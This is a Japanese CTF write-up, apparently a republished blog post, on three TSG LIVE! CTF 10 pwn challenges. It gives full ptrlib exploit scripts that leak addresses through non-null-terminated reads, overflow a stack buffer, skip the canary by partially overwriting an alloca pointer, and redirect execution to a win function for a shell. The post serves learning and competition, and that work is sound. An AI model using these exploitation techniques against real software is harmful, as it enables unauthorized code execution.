TSG LIVE! CTF 10のWriteup
2023-5-16 21:41:57 Author: ptr-yudai.hatenablog.com(查看原文) 阅读量:16 收藏

こんにちは。私がkeymoonです。TSG LIVE! CTFのすべてをお話します。嘘です。

m0lec0n CTFにも参加していたので、全完してm0lec0nに戻るという強い意志でkeynoonさんと参加しました。

ソースコードが割と長いので、いつものシリーズ物(似たような構成の問題が3つある)っぽいです。まずはSSPが無効ですが、PIEは有効。

$ checksec agent
[*] '/home/ptr/tsg/agent/agent'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

まずallocaで変数を確保して、データを読み込みます。

    p = alloca(sizeof(struct Profile));

    printf("Enter your profile\n");

    printf("Your Name > ");
    readline_n(p->name, sizeof(p->name));
    printf("Your Words > ");
    readline_n(p->words, sizeof(p->words));
    printf("Your Age > ");
    scanf("%ld", &p->age);
    printf("Desired Job > ");
    readline_n(p->job, sizeof(p->job));

    printf("\n---------------Profile---------------\n");
    printf("Name: \t\t%s\nWords: \t\t%s\nAge: \t\t%ld\nDesired Job: \t%s\n", p->name, p->words, p->age, p->job);
    printf("-------------------------------------\n\n");

readline_nはNULL終端でないので、age以外からも未初期化の変数をリークできます。

データを修正できるのですが、Jobの修正箇所で変数サイズが間違っているため、スタックバッファオーバーフローになります。

            case 4:
                printf("Desired Job > ");
                readline_n(p->job, sizeof(p->words));
                i++;
                break;

老眼なので最初libcのバージョンを2.35と見間違えていてYouTubeで質問する老人になりましたが、2.31でした。

from ptrlib import *

elf = ELF("./agent")
sock = Socket("nc 35.187.196.197 30005")

sock.sendlineafter("> ", "Hello")
sock.sendlineafter("> ", "")
sock.sendlineafter("> ", "+")
sock.sendlineafter("> ", "A")

elf.base = int(sock.recvlineafter("Age:")) - 0x1140

sock.sendlineafter("> ", "4")
payload  = b"A"*0x40
payload += p64(elf.symbol("win") + 5)
sock.sendlineafter("> ", payload)

sock.sh()

未初期化の変数がなくなっちゃった... :cry:

    p = alloca(sizeof(struct Profile));
    memset(p, 0, sizeof(struct Profile));

Stack canaryもあって泣いちゃった... :sob:

[*] '/home/ptr/tsg/renewal/renewal'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

まぁallocaしてるのでバッファより高位にアドレスが存在します。 readline_nがdefineで定義されているため、readline_nのループ内で毎回allocaが作ったバッファアドレスが使用されます。

したがって、スタックバッファオーバーフローで構造体のアドレスの下位1バイトが書き換わると、そこから不正なアドレスを書き換え始めます。 Stack canaryをスキップしてリターンアドレスが書き換えられそうです。

アドレスリークですが、readline_nが相変わらずNULL終端でないので、限界まで書き込むとその後ろにあるアドレスが取得できます。

from ptrlib import *

elf = ELF("./renewal")
sock = Socket("nc 35.187.196.197 30017")

sock.sendlineafter("> ", "Hello")
sock.sendlineafter("> ", "AAAA")
sock.sendlineafter("> ", "1234")
sock.sendlineafter("> ", "B"*0x10)
elf.base = u64(sock.recvlineafter("Job: \t")[0x10:]) - 0x12b9

sock.sendlineafter("> ", 4)
payload  = b"\x00"*0x20
payload += b'\x2f'
payload += p64(next(elf.gadget("ret")))
payload += p64(elf.symbol("win"))
payload += b'A'*0x80
sock.sendlineafter("> ", payload)

sock.sendlineafter("?", "YES")

sock.sh()

ぬぅうん。

$ checksec true_version
[*] '/home/ptr/tsg/true_version/true_version'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

な゛あ゛〜゛。゛

    p = alloca(sizeof(struct Profile));
    memset(p, 0, sizeof(struct Profile));
...
    printf("Desired Job > ");
    readline_n(p->job, sizeof(p->job) - 1);

さきほどと同じくstack canaryをスキップしてリターンアドレスを書き換えられますが、プログラムのロードアドレスが取れなくなりました。 困った......

これもう__libc_start_main_implのリターンアドレス書き換えてpop gadgetキメるしかねぇなぁ、でもLIVE CTFでそんな問題出すかぁ?とか思いつつも実装したら、想定解だったそうです。

老眼なのでadd rsp gadgetを近くに見つけられなかったのでpop gadgetでやってしまい、想定解よりかなり確率が下がっております。

from ptrlib import *

elf = ELF("./true_version")
while True:
    
    sock = Socket("nc 35.187.196.197 30022")

    sock.sendlineafter("> ", "Hello")
    sock.sendlineafter("> ", "AAAA")
    sock.sendlineafter("> ", "1234")
    sock.sendlineafter("> ", "B"*0xf)

    sock.sendlineafter("> ", 4)
    payload  = b"\x00"*0x20
    payload += b'\x1f'
    payload += b'\x91\x25'
    sock.sendlineafter("> ", payload)

    sock.sendlineafter("?", "NO")
    sock.sendlineafter("> ", 4)
    payload  = b"X\x4f"
    payload += b"AAAAAAA"
    payload += b"A"*8
    payload += b"\x6e"
    sock.sendlineafter("> ", payload)

    sock.sendline("cat flag*")

    print(sock.recv())
    for i in range(2):
        l = sock.recv().strip()
        if l != b'' and b'stack smashing' not in l:
            print(l)
            exit()

PowerShell Script。 難読化されているが、eqの近くにechoを置いたらフラグが出てくる。

pwn好き。7月のTSG CTF 2022と8月のTSG CTF 2023が楽しみですね。


文章来源: https://ptr-yudai.hatenablog.com/entry/2023/05/16/224157
如有侵权请联系:admin#unsafe.sh